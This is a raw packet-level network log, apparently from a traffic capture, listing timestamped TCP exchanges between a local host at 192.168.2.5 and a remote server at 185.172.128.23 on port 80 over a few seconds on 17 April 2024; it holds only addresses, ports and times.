Apr 17, 2024 09:17:03.943948984 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.943994045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944006920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944034100 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944051027 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944078922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944089890 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944128036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944137096 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944173098 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944189072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944210052 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944226027 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944248915 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944259882 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944287062 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944298029 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944324970 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944334030 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944363117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944375038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944401979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944411039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944439888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944451094 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944477081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944489002 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944514990 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944525003 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944551945 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944564104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944591045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944601059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944628000 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944639921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944664955 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944674969 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944703102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944711924 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944740057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944751024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944777012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944787025 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944814920 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944823027 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944852114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944861889 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944889069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944899082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944926023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944936037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.944962978 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.944974899 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945000887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945013046 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945039034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945044041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945076942 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945087910 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945113897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945131063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945151091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945163012 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945188999 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945200920 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945225954 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945236921 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945262909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945277929 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945301056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945314884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945338011 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945348978 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945374966 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945385933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945411921 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945425987 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945447922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945457935 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945486069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945498943 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945522070 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945535898 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945559025 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945569038 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945595980 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945609093 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945633888 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945641994 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945672035 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945681095 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945710897 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945719004 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945748091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945759058 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945785046 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945795059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945822001 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945832968 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945858955 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945872068 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945895910 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945904970 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945933104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945945024 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.945971012 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.945982933 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.946007967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.946017981 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.946046114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.946054935 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.946084023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.946094036 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.946120024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.946130991 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.946157932 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.946166992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.946194887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.946204901 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.946233034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.946244001 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.946270943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.946280956 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.946306944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.946319103 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.946346045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:03.946355104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:03.946393967 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:04.329876900 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:04.534616947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:04.805881023 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:04.806196928 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:04.935316086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:05.140424967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:05.312720060 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:05.312841892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:06.019059896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:06.224119902 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.347274065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.347352982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:06.646182060 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:06.850918055 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.968008041 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.968040943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.968059063 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.968079090 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.968080997 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:06.968111038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.968126059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:06.968131065 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.968148947 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:06.968148947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.968168974 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.968187094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.968189001 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:06.968204975 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:06.968219995 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:06.968242884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:06.968280077 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.172991037 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173019886 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173039913 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173057079 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173062086 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.173075914 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173088074 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.173093081 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173110962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173127890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173144102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173151016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.173161983 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173178911 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.173178911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173196077 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173197985 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.173212051 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173229933 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173238993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.173254967 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173274040 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173274994 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.173293114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173310041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.173310995 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173330069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173345089 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.173346043 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.173377037 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.173391104 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378181934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378209114 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378225088 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378249884 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378267050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378284931 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378300905 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378318071 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378334045 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378351927 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378366947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378384113 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378398895 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378417015 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378433943 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378449917 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378467083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378473043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378473043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378473043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378473043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378473043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378473043 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378483057 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378499031 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378515005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378515005 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378515959 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378532887 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378549099 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378566027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378586054 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378602982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378619909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378635883 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378658056 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378680944 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378699064 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378715992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378730059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378731966 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378730059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378730059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378730059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378730059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378730059 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378748894 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378765106 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378766060 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378782034 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378787041 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378798962 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378814936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378817081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378832102 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378837109 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378849030 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378866911 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.378875017 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.378915071 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.583986998 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584052086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584076881 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584096909 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584156036 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584177017 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584196091 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584280014 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584290028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584326982 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584327936 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584351063 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584366083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584384918 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584403038 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584414959 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584439993 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584460020 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584476948 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584508896 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584513903 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584530115 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584552050 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584563017 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584589958 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584600925 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584629059 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584640026 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584666014 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584680080 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584703922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584712982 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584739923 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584750891 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584777117 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584786892 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584814072 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584825039 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584851027 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584861040 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584887028 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584896088 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584924936 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584935904 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.584963083 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.584974051 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585000992 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585025072 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585037947 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585050106 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585076094 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585087061 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585113049 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585124016 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585150003 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585160971 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585189104 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585197926 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585227966 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585237980 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585263968 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585277081 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585300922 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585313082 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585339069 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585342884 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585376024 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585386992 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585412979 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585422993 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585449934 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585465908 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585486889 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585499048 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585522890 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585531950 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585558891 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585568905 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585594893 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585604906 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585632086 CEST	80	49704	185.172.128.23	192.168.2.5
Apr 17, 2024 09:17:07.585644960 CEST	49704	80	192.168.2.5	185.172.128.23
Apr 17, 2024 09:17:07.585669994 CEST	80	49704	185.172.128.23	192.168.2.5
